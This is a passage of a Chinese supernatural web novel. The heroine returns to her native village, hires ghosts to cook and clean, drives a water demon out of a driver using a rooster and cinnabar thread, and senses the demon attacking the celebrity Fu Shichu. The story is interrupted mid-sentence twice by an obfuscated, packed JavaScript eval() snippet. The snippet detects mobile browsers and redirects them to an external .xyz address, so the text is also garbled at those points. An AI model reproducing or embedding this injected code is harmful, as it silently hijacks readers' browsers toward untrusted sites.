朋友回复:【你买的?好漂亮的颜色,感觉很好吃,也很毒的亚子。】 邻座:【坐我旁边的小姐姐带的。】 邻座:【起飞了,先关机了。】 …… 等到下飞机,邻座打开手机,就看到朋友发来好几条消息。 时间在她关机不久。 ——【卧槽,我抽奖抽到了一台最新版的水果机。】 ——【[图片]】 ——【已经确认了,是真的。】 ——【我他妈这个绝世非酋居然也有中奖的一天,还是大奖。】 ——【而且就是在看到你发的蘑菇后,我随手一抽,就中了。】 ——【我要把这个蘑菇照片供起来。】 邻座一愣,觉得朋友也太迷信了。 直到她到订好的酒店,工作人员说给她免费从标间升级到套间。 她突然……也有点信了。 * 下了飞机的苏见青感叹人类的创造力,居然能让一个超大壳子载人在天上飞。 几千公里的距离,两三个小时就能到。 ……上辈子的她当初花了整整半年。 根据记忆,抵达M市机场后,需要坐三个小时大巴到子级城市,阳城。 再转两个小时乡村客运车到平宁镇。 然后坐摩托车,或者步行至最终目的地:五里村。 苏见青到平宁镇已经中午了。 饿得前胸贴后背的她没有急着赶往五里村,而是在镇上找了家小炒店,点了份时蔬炒菜填饱肚子。 吃完后,苏见青根据记忆,去超市买了袋大米和一些日用品,又去菜市场挑了点菜。 最后雇佣一辆三轮车,把这些东西连着她一起送到五里村。 越往村里的路越不平坦,苏见青坐在车斗里,差点没把她给颠出去。 五里村的房屋相互之间隔得远,三轮车一路突突进村,也没遇到个人。 原主的家建在山坡上,只有一条蜿蜒曲折的小路,车进不去。 司机大叔三轮车虽然开得奔放,但人还是非常好的,见苏见青细胳膊细腿儿,主动帮她把东西拎上去。 “年轻人都往大城市跑,你倒好,偏偏跑回来受罪。” 苏见青笑着说:“大城市有大城市的好,村里也有村里的好。” “这倒也是,城市物价高,累死累活挣的钱还不够房租。” 大叔拎几袋东西跟没拎似的: “我儿子天天跟我抱怨,我说让他回来,他又不肯。” 到家后,苏见青一边道谢,一边多付给大叔车费。 他连连摆手:“顺手的事儿,说好多少就多少。” 苏见青眼睛弯了弯:“那您记住,这几天不要去河边。” 大叔:“啊???” 苏见青一本正经地说:“大叔,其实我是个算命的。” 大叔看向她的表情顿时变得很奇怪,一脸的这姑娘年纪轻轻怎么精神不太正常。 他摇摇头走了。 苏见青也不在意,回头看向身后两层高的房子。 原主的父母是青梅竹马,两人相互扶持着长大,顺理成章地走在一起。 婚后在镇上开了个汽修店,是村里的富户,也是村里唯一盖两层小楼的。 生下原主后,更是将她捧在手心里如珍如宝的疼着。 他们努力攒钱,想搬去城里,给她最好的生活条件。 截止十三岁之前,她过得无忧无虑,是同龄孩子羡慕的对象。 父母就葬在屋子后面的树林里。 原主每天放学回家,会到他们坟前坐坐,跟他们分享日常。 从考上大学出去,到今天,整整五年没有来看过他们了。 苏见青查过,他们已经入了轮回。 但她还是第一时间来到坟前坐了会儿。 然后,面对五年没怎么打扫过的屋子,苏见青果断雇佣鬼工。 问题来了,农村人口少,导致滞留的鬼也少,她等半天才等来一个。 还是个腰都快杵到地上的老人。 和耳背的老人鬼沉默片刻,苏见青决定去地府一趟,顺便把老人捎上。 地府里无数排队投胎的魂魄,经过一番周旋,她以缩短等待时间为条件,成功雇佣了五只年轻力壮的。 一个做饭,一个洗碗,两个打扫卫生,一个前台收纳。 “你们先去打扫房子,我去给你们搞身体。” 原主有请村里的人偶尔帮忙维护屋子,所以水电燃气都是完好的。 五只激动兴奋地去了。 没想到有朝一日还能重返人间,关键大佬还说给他们准备身体! 这不就是借尸还魂嘛! 它们一边卖力打扫,一边期待。 苏见青翻出原主以前的绘画本。 以朱砂为墨,寥寥几笔,将五只的 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说是客栈,但用这个世界的话来说,其实就是民宿。 苏见青的卧室已经打扫干净,新换的被子有一股淡淡的放太久没用过的沉味。 她也不嫌弃,洗了个澡,躺在床上开始网购。 两层楼共有六个房间,除去她的卧室,剩下的都可以布置出来。 正欢快地下单呢,手机上方忽然弹出一条消息。 ——【傅时初】:你在哪 苏见青长睫微抬,有些意外顶流找她,戳进去回复:我回老家啦。 对面没动静了,她浑不在意,继续快乐地买买买。 * 时间倒退至昨天—— 傅时初回屋后直奔浴室,脱下浴袍,对着镜子一寸寸检查。 之前清洗身体时,他整副心神在惊疑,会不会有阿飘从马桶里钻出来。 或者出现在墙壁里,水池里,地漏花洒里…… 他感觉到身体有变化,但没有去深究。 此时一检查才发现,身上好几处因为拍戏受伤落下的疤。 拍武打戏骨折的腰椎,愈合后留下的隐痛……统统消失了。 皮肤状况也比以前好了许多,仿佛花高价做了最好的医美。 ……就好像整个身体从内到外被回炉重造过。 如果是采阳补阴,他应该像影视剧里那样,变得很虚弱才对。 傅时初陷入漫长的沉默。 他错怪苏见青了? 她并没有对他这样那样。 所谓的“一起睡过”,是苏见青为了打发走原年说的谎。 ——他不信! 要真是这样…… 那她的演技已经到登峰造极的地步了。 更何况也无法解释他身体的离奇变化。 傅时初看着镜子里的自己,幽邃的眼底深处激流暗涌。 电光石火间,两个字闪电般劈进他的大脑。 ——双修。 他甚至忘了在哪里见到的这个词,下意识在手机网页搜索,得出结果。 双修就是两个人通过负距离的某种修炼方式,不费吹灰之力让双方获到巨大收益。 傅时初深吸口气,面无表情地盯着网页,骨节分明的修长手指按在突突的太阳穴上。 大脑疯狂转动,回忆昨晚吃饭的所有细节。 突然,傅时初身体猛地一震。 他想起来了—— 失去意识后醒过来时,苏见青是从浴室里出来的。 她,洗澡了!!! 确认了。 顶流的心似乎也死了。 过了许久,傅时初离开公寓,开车一个多小时到一家私人诊所。 诊所的沈医生是他朋友。 傅时初在这里做了个全面检查。 沈医生都惊讶于他身体各方面的数据,好到令人发指。 “那,能不能检查出我……” 面对多年好友,傅时初深吸口气,眼睛里折射出欲言又止的幽光,最终沉默了。 沈医生:“?” 沈医生:“有什么你直说。” “……”傅时初闭了闭眼睛,放弃描述,“算了。” 他面无表情地起身走了。 随即接受了几个圈外朋友的邀约,放纵地喝了不少酒。 醒过来已经是第二天下午。 而返回公寓的傅时初,在路上通过热搜,得知苏见青凌晨去了机场。 那一刻,宿醉残留的不舒服瞬间被猛烈的情绪冲走。 ——睡完他,就这么水灵灵地跑了!? “……”傅时初拳头捏得咯吱响。 看到苏见青的微信回复。 他青着脸转动方向盘,杀气腾腾地直奔机场。 此时此刻,顶流只有一个念头。 他必须找到苏见青,然后。 ——睡回来!!! 10.010 010: 五里村的村长姓刘,叫刘建安,今年六十六岁,老伴前几年因病走了。 他的三个儿子成家后都去了城里发展,想接他去城里,他愿意去哪个儿子家就去哪家。 刘建安没有答应。 一来老伴葬在村里,他想离她近一点,感觉她还在一样。 二来待在村子里,村民们需要,他可以帮忙,让他有事做。 三来现在没有年轻人喜欢和老人住。 不管住哪个儿子家,儿媳妇表面上不说,心里肯定不乐意。 他不想讨人嫌,更不想因为自己影响儿子和儿媳妇之间的感情。 自己一个人住也自在,还没到老得动不了的时候。 三个儿子拗不过他。 又怕被别人戳着脊梁骨说不孝,只好退而求其次,让老爹每个月轮流去他们家住两天。 刘建安这下倒是答应了,正好可以看看孙子孙女。 他的通情达理,使得儿媳妇们对刘建安没有任何意见,发自内心的敬重他。 这次刘建安去的是小儿子家,今天到点他提出回家。 没让小儿子送,自己坐客车到安宁镇,一路溜达着走回来。 五里村名字的由来,就是村子到安宁镇的距离只有五里。 走路也就半个小时左右。 到了五里村,刘建安随意走着,视线也没有目标地往四处看。 然后就愣住了—— 他看到山坡上那栋房子的烟囱里冒出了浓烟。 烟囱冒烟不奇怪,但房子的主人苏见青已经五年没回来了。 刘建安脸色一变,只怕又是哪个不知天高地厚的狗崽子偷溜了进去。 苏见青是五里村走出去的明星,周围有人知道她住这儿后,老是跑过来偷溜进去。 这种情况杜绝不了,只能看到一次赶走一次。 刘建安是看着苏见青长大的,这丫头自父母过世后,过得太苦了。 好在她争气,考上好大学,还被什么娱乐公司签下,成了明星。 全村在电视上看到苏见青时,兴奋得无与伦比,满满都是与有荣焉的自豪,到处炫耀他们五里村出了个大明星。 刘建安也不例外。 每年青丫头都会给他打电话问好,然后拜托他空闲时帮忙维护下房子。 还给他打了钱。 其实不用她特意说,刘建安也会帮忙看着。 房子要是在他眼皮子底下出了什么问题,等青丫头回来,他怎么跟她交待。 年过半百的村长步履矫健地往山坡上跑。 没一会儿冲到院子里,就看到有两个人在用水洗刷院子,一副把这里当自个儿家的样子。 他撸起袖子,大喝道:“你们谁啊?知不知道这是别人家!” 拿铁丝球刷地面青苔的两鬼冷不丁听到声音,吓了一跳。 抬头就看到一个精神矍铄的小老头正怒气冲冲地瞪着它们。 差点忘了,它们现在可是有实体的鬼,能被人类看到。 而见对方这么凶,两只当即毫不示弱地同样撸起袖子,一副“要打架谁怕谁”的流氓气势: “你又是谁啊。” 太嚣张了。 刘建安插腰刚要说话,一道熟悉又陌生的嗓音突然从上方响起: “村长爷爷?” 顺着声音抬头,刘建安看到站在二楼阳台的苏见青。 他略有些浑浊的双眼猛地瞪大,震惊得几近语无伦次: “青丫头?我不是眼花了吧,你什么时候回来的?” “不是……你回来怎么不提前跟我说一声呢。” 等苏见青下楼走到面前时,情绪上经历大起大落的村长又激动又喜悦地说: “看看我们五里村的大明星,漂亮得我都不敢认了。” “回来看看也好,都五年没回来了。” 又如同关切自家在外打拼的孩子一样不住询问: “在外面过得好不好呀,当明星工作是不是特别忙,没有人欺负你吧……” 刘建安并不知道苏见青跳楼的事。 老年人对网络上的消息获知没那么广泛。 苏见青鼻子一酸,突如其来的强烈的酸楚情绪不属于她,却影响着她。 她眼圈有些泛红,记忆里浮现许多村长帮助原主的画面。 “我很好,谢谢村长爷爷关心,这次回来就不走了,留在家里。” 苏见青轻吸了一口气,控制住情绪,向刘建安解释她要将房子布置成客栈民宿,供以后来这里旅游的人住。 屋子里的几位是她雇佣的员工。 刘建安这才注意到招牌都挂好了,有点反应不及,最后慢慢琢磨过来。 青丫头放着好好的明星不做,跑回什么也没有的村子里开客栈——哪会有人来这里旅游。 还说不再出去。 即使刘建安文化水平只有初中学历,也知道她的这个决定一点也不合理。 说明什么。 说明在外面受委屈了。 弄明白这一点的刘建安,忍住没有多问,看向苏见青的目光里含了疼惜: “放心吧,五里村永远是你的家,有什么需要我帮忙的,尽管开口。” “我先把这个好消息告诉大伙儿,大家都盼着你能回来呢。” 他拿出手机就开始打电话。 没过多久,全村的人都上苏见青这儿来了。 有的提着菜,有的拎了筐鸡蛋,有的桶里装鱼虾…… 甚至还有扛着一大圈鞭炮,到了院子,冲苏见青高喊:“欢迎我们五里村的大明星回村!” 引线点燃,瞬间劈里啪啦。 整个院子人声鼎沸,苏见青被他们团团围住。 从一开始的真心微笑,变成假笑,再变成灵魂出窍。 只凭本能回答他们问的五花八门的问题。 好在并没有持续太久。 大家送完心意,和苏见青聊了几句后,也就陆陆续续回家了。 苏见青松了口气,对还没离开的刘建安道: “村长爷爷,今天太晚了,来不及请大家吃晚饭,麻烦您帮忙通知他们,明天来我家吃午饭。” “好。”刘建安答应下来。 以前大家伙儿或多或少都照看过青丫头。 她这么多年没回来,又是明星,不请全村人吃饭的话,会有人在背后说她的。 村长准备联系专做席面的厨师团队。 苏见青笑着制止:“您就别操心了,我会安排好的。” 她派了五只去镇上购买食材,顺便让它们买一辆三轮车回来——以后三轮车就是它们去镇上的代步工具。 “再买多点纸钱回来。” 五只显然不够做出全村人的席面。 苏见青只得又去地府摇人……啊不,摇鬼。 这次她用的纸钱支付给这些从地府找来的钟点鬼工。 不是所有的魂魄,都能在地府收到来自亲人朋友烧下来的东西。 还有许多被遗忘的,在地府一穷二白。 苏见青询问他们的名字,再把纸钱烧给它们,它们就能收到酬劳了。 十分方便。 不知明好人烧给苏见青的那堆纸钱,可以让她雇佣滞留在人间的鬼。 同时苏见青还可以用买来的纸钱,以烧给地府穷鬼的方式,雇佣它们。 总之,不管哪里的鬼,她都能花纸钱雇佣。 谁让鬼工比人工便宜呢。 如果是雇佣做席面的专业厨师团队。 花的人民币拿去买纸钱,足够在地府雇佣多好支厨师团队了。 唯一的问题,鬼做的饭带有阴气,人吃多了会生病遇邪。 但苏见青能完美解决这个问题。 她一口气雇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13984670|147315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了三十个会做饭的钟点鬼工。 用到的锅碗瓢盆,苏见青全部拿纸剪出来点化而成,包括需要的桌椅。 坚持到全村人吃完饭是没有问题的。 该交待的交待完,苏见青打着呵欠上楼,给小青菇浇了些水,往床上一倒,秒睡。 第二天醒过来时,供给全村人的席面已经做好了,各种类型都有。 就着现有的食材,钟点鬼工们绞尽脑汁,愣是把乡村席面做成了类似满汉全席的高级国宴。 而且,在摆盘好看的同时,份量还大,绝不会出现吃不饱的情况。 所以,全村人中午在苏见青这里吃爽了,对她是赞不绝口。 他们认为这些菜肯定是苏见青花大价钱,从城里运过来的。 来自于全村的认可和喜悦,让原主的怨念和执念又消失了些。 苏见青能感觉到,她残留的怨念和执念只剩下少许。 照这个趋势,要不了多久,她就能入轮回了。 钟点鬼工还做了可以打包带走的糕点。 村民们离开时,她人手塞一份,里面夹着一张平安符。 最后送的是村长:“我看您好像时常咳嗽,还是去医院检查一下。” “老毛病,不碍事的。”刘建安摆摆手,年纪越大越抗拒去医院。 苏见青皱了皱眉。 她刚才注意到刘建安咳嗽,声音不对,便用观气术看了眼,就看到了他肺部萦绕的阴影。 感受到胸口涌出的急切和不安,再看看原主和刘建安之间的因果线,苏见青笑着说: “村长爷爷,我想张奶奶也会希望您能去医院检查。” 听她提起过世的妻子,刘建安脸上下意识浮起怀念: “好好好,我会给我儿子打电话,让他们带我去。” “回去吧,不用送了。”他拍了拍苏见青的手肘,晃晃悠悠下了坡。 走到坡下大路,前面一辆三轮车突突过来,下来一个四十多岁穿汗衫的中年男人。 是生面孔。 不是五里村的。 中年男人一脸汗涔涔,神色慌乱,越过刘建安,急匆匆往坡上跑。 山坡上只住着苏见青一家,刘建安寻思:“是去找青丫头的?” 不是自家村子的人,他有点不放心,转身也上了坡。 家里没了外人,五只将残羹剩饭处理掉,苏见青正要撤掉点纸术,有人从院门口跑进来,是昨天送她回来的那位司机大叔。 “大师,救命——” 跟在他身后的村长:“???” 什么大师,他叫谁大师? 看到苏见青,司机大叔眼泪都差点飙出来,他飞快地说: “你昨天不是让我别去河边吗,我我我没听,晚上我去我们村的河边钓鱼。” “突然鱼竿动了,我以为是钓到鱼了,一扯扯不动,肯定是条大鱼,我就使劲拉。” 哪个钓鱼佬不激动能钓到大鱼? 他使劲全身力气往后拉,心里在惊喜地预测这么大的拉扯力,大鱼至少有十来斤。 可无论怎么用力,水里的大鱼都纹丝不动,他自己还被巨大的拉力往水里扯。 在又一波大力的拉扯中,他扑通一声栽进水里。 司机会水,且水性不差,所以并不惊慌。 只是气恼没把大鱼拉上去,到嘴的大鱼都被自己放跑了。 他在水里挥动双臂,想让自己浮出水面。 然后,就被眼睛看到的一幕惊住了。 他看到—— 有个很漂亮的女人闭着眼睛站在水底,脸白惨惨的,嘴里咬着鱼钩,鱼钩钩破了她的嘴唇,鲜艳刺眼的红晕染。 水流在她在身体周围有规律的漾动,带着她的身体也像在水里摆动,长长的头发如水草般向四周散开。 下一秒,她睁开眼睛。 看着他,缓缓地笑了。 11.011 011: 如果单纯是具尸体,可能还好点,毕竟钓鱼佬钓到什么都不奇怪。 可是尸体睁眼了啊,还对着他笑。 毫不夸张地说,司机大叔当时差点吓尿。 接着她动起来了! 她的手在摆。 她的腰在扭。 她的腿在晃。 她她她在向他靠近!! 此时的司机大叔完全忘了自己还在水里,惊惧之下张嘴就呛进一大口水。 他开始剧烈扑腾起来,凭着本能脚下用力蹬,身体往水面接近。 这个过程中,能感觉到她的手擦过他的后腰。 一瞬间腰部失去知觉,他感觉到死亡的逼近,求生欲爆棚,整个人猛地蹿出水面,连滚带爬地上了岸。 司机大叔说到这里,身体剧烈地颤抖起来: “我当时真的以为自己会死掉,上岸后一口气跑了好远才敢回头。” “谢天谢地她没有追上来。” 回家后他不敢把这事儿跟妻子讲,怕吓着她,一晚上都没敢睡。 直到天亮鸡叫才迷迷糊糊地睡过去。 但睡得一点都不安生,感觉非常冷。 而且!又回到了河边! 女人依旧站在晃荡的水下,朝他轻轻招手,微笑。 嘴里吐出细细的水泡,翕动的口型是:“来。” 来个屁。 司机大叔崩溃。 他就是去钓个鱼而已,谁知道她在水里,又不是故意把鱼钩钩住她。 至于不放过他吗! 人有时候恐惧到极点是会愤怒的。 他冲水里的她破口大骂,骂着骂着,把自己骂醒了。 这才意识到自己在做梦。 他全身水一样地醒过来,床褥子都打湿了,妻子在旁边脸色发白抖着声音说: “你咋回事,怎么叫你都不醒,身上还不断冒水。” 司机大叔觉得自己肯定被缠上了,惊惧间想起昨天苏见青对他的话,顿时后悔不已。 他强自镇定地安抚好妻子,立刻跑来五里村找苏见青。 “大师,我真的被她缠上了吗?” 司机大叔似乎是想要寻求一份认同,或者自我安慰: “有没有可能种可能……这是我的幻觉?” 这话他自己说了都不信,声音越来越小。 苏见青往他脚下看了一眼。 现在时间下午不到两点,阳光正盛,司机大叔的影子墨一样的深。 “大叔,你想听真话还是假话?” 司机大叔咽了咽喉咙,擦着脸上的冷汗,沉默几秒:“假话。” 苏见青:“是的,你看到的都是幻觉。” 司机大叔一脸绝望,随后又满怀希望地望着苏见青: “大师,你、您昨天不让我去河边,一定有办法救我的对不对。” 苏见青答非所问:“你把后背的衣服撩开。” 司机大叔连忙照做,衣服一掀开,整个后腰一片骇人的青乌。 苏见青眼睛缓缓眯了起来。 司机大叔也看到了,惊跳起来:“之前没有这么多!它它它怎么在长?是不是长满全身,我就死定了?” “可以这么理解。” 苏见青话音刚落,大叔腿一软,一屁股坐地上,欲哭无泪。 “别急,不是没办法阻止。” 司机大叔瞬间目露希望,小心翼翼问: “什么办法? ” “村长爷爷,您能帮我找一只公鸡吗?”苏见青转向一旁早就听呆了的刘建安。 本来司机大叔描述的一切已经够让村长震惊,但当发现苏见青好像知道怎么解决时,这让他不止震惊,而是震憾了。 他可是看着青丫头长大的,她以前哪里懂这些。 难道说是这些年在外面学的? 不是当明星吗,明星的工作是做这些? 刘建安有心想问,也知道现在不是问的时候。 他一边胡思乱想,一边忙不迭回答:“我家里就有,我去给你抓一只来。” 司机大叔这会儿才发现还有旁人,知道苏见青要公鸡肯定是给自己用,艰难地挤出一丝笑: “麻烦叔了,我叫李海,隔壁新安村的。” 报村名拉点近乎。 刘建安客套两句就去抓鸡了。 苏见青让一只鬼佣拿了张竹席放地上,示意李海脱了衣服趴上去,曝晒在阳光下。 大叔照做。 “好冷……” 被大太阳晒着,他却冷得浑身发抖,明明刚才还没这种感觉。 他的身体开始往外渗水,连身下的地面也现出水痕。 李海抖着身体喘气儿,心想:为什么会这么多水? 苏见青居高临下地站在旁边观察,呢喃一句:“很凶啊。” 她摇摇头,嗓音轻淡地说:“俗话说冤有头债有主,你找债主去,欺负普通百姓,挺丢你们水煞的份儿。” 越来越冷,甚至连思绪都开始僵滞的李海,迷迷糊糊中听到苏见青的声音。 她…在…跟…谁…说…话… 不知道是不是苏见青的话起了作用,李海渗水的情况有所缓解,身体抖动的程度也随之减轻。 却并没有消失。 苏见青皱了皱眉,犹豫几秒,抬脚踩中地面的水痕。 与此同时,冻得脸色青白的李海猛地惨呼一声:“好烫!” 他身上的水迅速蒸发,就像有一团看不见的烈火在炙烤着他,皮肤渐渐变得通红,偏偏体内又有刺入骨髓的冷意封冻血管。 简直就是冰火两重天。 苏见青:“大叔忍着点。” 李海:“忍不了啊啊啊——” 苏见青充耳不稳,脚依旧稳稳地踩在快要干涸的水痕上,长睫下的双眸静静地看着地面。 就在这时,李海身体趴着投下的浓郁影子突然剧烈地扭曲了下,随后恢复正常。 惨叫的李海一个哆嗦,忽然觉得不冷也不烫了。 他懵懵地抬起脑袋:“大师,我刚刚怎么了?” “刚才在给你除崇,”苏见青脚下的水痕已经彻底消失,随意收回去,“邪祟暂时离开你的身体了。” “谢谢大师。”李海大喜,长长地舒了口气。 然而长松的那口气还没松完,他立刻反应过来苏见青话里的意思,头皮瞬间炸起来,整个人直接从竹席上蹦了起来: “您的意思,她她她其实一直在我身上!?” 苏见青谨慎纠正:“只是一部分而已。” 李海:“……” 对他来说没有区别! 大叔有点崩溃:“您说的暂时离开……是什么意思?” “她比较凶。”苏见青没有把话说得太满,谦虚道,“我能力比较弱,不敢保证后面她还会不会找上你。” 李海:“!!!” “不过等会儿把你身上的标记去除掉后,只要不再招惹她,她应该不会再找上你。” 李海满肚子冤枉:“我没招惹她啊,我就是去钓个鱼……” 苏见青看着他,笑而不语。 想起她提醒过他不要去河边,是他自己不相信,李海露出一个苦笑。 他还用鱼钩钩破了水底下东西的嘴,这都已经不是招惹,是结仇了。 “咯咯咯——” 这时,一阵鸡鸣由远及近,刘建安掐着一只雄纠纠的大公鸡走进院子: “青丫头,你看这鸡行不?” “谢谢村长爷爷,只要是公鸡就行。” 苏见青示意一只鬼佣接过公鸡,让李海按照她的指令盘腿而坐。 随后取出特意浸了朱砂的细毛线,一头系在公鸡脚上,一头系在李海手腕。 刘建安在旁边睁大眼睛看着,只觉青丫头浑身散发莫名的气压,他大气都不敢出一下。 大公鸡像是感受到什么,拼命挣扎起来,被鬼佣用力按住,只扑腾掉下几根毛。 “乖,你不会有事的。”苏见青摸摸大公鸡威武的红鸡冠。 大公鸡还真的安静下来,一双滴溜溜的眼睛盯着苏见青,仿佛在认真思考。 刘建安瞪大眼睛看着这一幕,对青丫头好像真的是大师有了点清晰的概念。 他看到苏见青站在大公鸡和李海中间,伸出手指轻轻抚摸了下红线。 起初,一切如常。 过了几秒,红线开始猛烈颤抖起来,刘建安下意识去看李海和大公鸡,一人一鸡都没动,眼睛均死死盯着红线。 慢慢的,李海那头的红线开始变成青乌,一直往前,逼近大公鸡。 而他后腰上那片骇人的青乌在渐渐变淡,直至消失。 平静的大公鸡忽然扯着喉咙放声大叫,嗓音尖刺,鬼佣都按不住它。 它扑棱着翅膀摔到地上,眼珠疯狂转动,双腿却无力地蹬着地面。 有那么一瞬间,刘建安和李海看到大公鸡鲜艳的红色鸡冠,变成不详的青黑色。 但很快,随着大公鸡一声高吭长鸣,它肥大的屁股往上翘,“biu”的一声,一颗黑不溜秋散发恶臭的鸡蛋飞出来,沿着光滑的地面骨碌碌滚了好远。 一下子舒服了的大公鸡:??? 大公鸡瞪着那颗鸡蛋,乌黑的眼睛里好似现出人性化的震惊。 仿佛在说——它一只公鸡,怎么会下蛋的!? “辛苦了。” 苏见青蹲下,摸了摸大公鸡重新变得鲜艳的红鸡冠。 大公鸡瞪着苏见青,抬起尖锐的喙部狠狠啄向她的手。 ——公鸡也是有尊严的! 还挺记仇。 仿佛预料它会报仇的苏见青闪电般避开大公鸡的尖喙,解开它脚上已经褪色的毛线,并示意李海取下他那一头。 李海照做。 线甫一落地,失去韧性,化作无数纤维碎片。 “大师,我这样就没事了?”李海能感觉到之前那股如影随形的阴冷消失。 苏见青提醒:“七天内不要再去河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13997105|147315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。” “好的好的。”李海点头如捣蒜,别说是七天,这辈子都不去那条河了。 苏见青突然想到什么,认真对李海说:“大叔,我要收费的。” 昨天口头上提醒李海不要去河边,已经结了他帮她拎东西的因果。 “应该的应该的。”李海连连点头,收费他更安心,“您收多少?” 他忐忑地等着答案。 苏见青思索片刻:“五百吧,你把钱给村长爷爷。” 她转向刘建安,指着在跟自己下的臭黑蛋面面相觑的大公鸡道: “村长爷爷,它沾了崇气,再养她对您身体不好。留在我这里,您要想它了,随时可以过来看它。” “给什么钱,你留着就是,本来就打算下次去老二家杀了它带过去。” 大公鸡倏地抬头瞪向刘建安。 刘建安:“?” 他连忙后退两步。 苏见青还是让李海把钱转给了村长。 李海感恩戴德地离开了。 刘建安看苏见青脸色苍白,关切道:“青丫头,你没事吧?” 苏见青摇头,他终于找到机会忍不住问:“你怎么会这些的啊?” “和一个老道士学了点皮毛。”她实话实说。 刘建安又问了几句,为青丫头高兴,好歹是门可以傍身的技术,学了没坏处。 村长离开之后,立刻联系儿子们说要去医院检查。 现在他知道青丫头是大师,先前让自己去检查,肯定有原因。 这一检查吓得不轻,肺上长了个小肿瘤。 还好发现得早,是良性,可以动手术去除。 医生说休养得好的话,问题不是很大。 * 折腾一通,苏见青精神消耗不少,把大公鸡交给鬼佣照料,回房间休息。 与此同时,坐飞机到M市、借了一位朋友车的傅时初,按照导航,一路自驾好几个小时抵达了安宁镇。 没在镇上找到能放心吃饭的餐馆,他便只在超市里买了点水和面包垫了垫。 随后继续按导航往五里村走。 顶流平时很少自己开车,几个小时下来,心情难免烦躁。 尤其去五里村的路又很颠。 他面无表情地握着方向盘,开始反思自己过来找苏见青的行为,是不是过于冲动。 但傅时初很快将这个念头狠狠按下。 ——来都来了。 车转了个弯,前方土路中间蜷缩着一个女人,全身湿漉漉的,一动不动。 傅时初脚踩刹车,车身一抖,停了下来。 乡村不像城市到处有摄像头,傅时初戴上口罩和鸭舌帽,点开手机摄像,下车一边录一边走过去。 走近后看到女人掩在黑发中惨白的脸,紧闭双眼,不知是生是死。 旁边有条水沟,很大可能她不小心摔进沟里,然后爬出来,走着走着晕了过去。 周围也没有其他人,即使傅时初想坐视不理也不行,对方挡在路中间,车开不过去。 他头疼地捏了捏眉心,后退几步,低头准备拨打120。 忽然,傅时初恍惚了下,手指顿在拨号界面,原先的想法消失。 ——他觉得应该把对方抱上车。 傅时初靠近,俯身。 鼻腔里钻进一缕凛冽的腐腥味,像极了大夏天里忘了放进冰箱,结果坏了几天几夜的海鲜。 等等—— 他为什么要把抱她上车? 他应该打120。 不对。 抱她上车。 打120。 抱她上车。 “……” 抱你大爷。 阴森森的凉意在后背炸开。 好歹是被三只鬼围过的人,傅时初意识到不对劲了。 并且和三只鬼不同,他感觉到了浓烈的恶意。 寒意刺骨。 傅时初面无表情地控制自己的思绪,将所有负面情绪按下,转身狂奔至车上,重重关上车门。 冷静地拉手刹,挂倒档,松离合,踩油门。 车正倒退着,视线里前方土路中的人影忽然消失了。 滴答 滴答 滴答 …… 身后传来滴水声,脚下有水在往上蔓延。 傅时初眉心重重一跳。 脖颈处的汗毛根根竖立,视线僵硬地轻移,缓缓落向后视镜—— 湿漉漉的身影悄无声息地坐在后座。 傅时初:“……” 下一秒,泛着腥气的黑色长发从后面铺天盖地涌过来,打不开车门的傅时初飞快点进苏见青的微信。 苏见青睡之前习惯性地刷手机,结果越刷越精神越兴奋,都不想睡了。 突然之间,上方冷不丁又弹出傅时初的一条微信—— 【傅时初】:就mi 苏见青:??? 顶流打字都这么随心所欲放荡不羁的吗。 12.012 012: 出于礼貌,苏见青还是决定回复一下。 正戳键盘打字,忽有所感,转过头望向床头柜上的小青菇。 对于自己的特性,苏见青还是很了解的。 凡是吃过小青菇的人,相当于被苏见青标记。 只要她想,可以感应到所有吃过小青菇的人。 甚至还能建立联系,共享对方的所感情绪。 上辈子吃过小青菇的人很多。 有段时间苏见青所在地附近的几个村子颗粒无收,眼见又要闹饥荒,是她把本体给他们吃下,让他们那一代活了下去。 后来,很多达官显贵知道有个神奇的咸鱼客栈,愿意花高价购买客栈的食物,或者请苏见青出山。 这些人中有善意的,也有恶意的。 因此,如果苏见青和每个吃过本体的人建立联系,她会感受到各种各样的情绪。 不管是好的还是坏的。 用现代话来说,她等同于是个服务器,什么数据都接收。 数据太多的话,CPU会过载。 苏见青试过一次后,再也不敢了。 如今苏见青的魂魄和本体小青菇是分开的,她更像自己本体的外置大脑。 ——本体小青菇:真·我没脑子。 她和本体合二为一的话,还能按住本能。 现在独立的小青菇纯粹靠本能行事。 就在刚才,它共感到一股极其强烈的惊悚情绪,并传给了它离家出走的“脑子”——苏见青。 问题来了。 在这个世界吃了小青菇的,除了她自己,还有谁。 再联想傅时初刚刚发的莫名其妙的微信,答案似乎再明显不过。 想了想,苏见青弹了个视频过去。 没人接。 情况似乎不太妙。 她抱起小青菇,主动加强和傅时初的联系。 于是惊讶地发现,傅时初的位置离她很近,就在几公里内。 难怪小青菇能感应到——离得这么近的强烈惊悚情绪,直接唤醒她的本能。 苏见青没去想傅时初为什么出现在附近,总之他大概率出事了。 想要以最快的速度赶过去,只有一个办法。 苏见青魂体离身,将小青菇纳入魂魄中,往感应到的傅时初的方向飞去。 没要一分钟,她抵达现场。 然后就发现,对傅时初动手的,正是她打伤的那只水煞。 此时的“傅时初”头发变成长发,那张毫无瑕疵的脸多了女性的妩媚。 他丝毫不意外苏见青的出现,甚至似乎就是在期待她过来。 “哈哈哈哈哈。” 他盯着苏见青,大笑出声,声音似男似女: 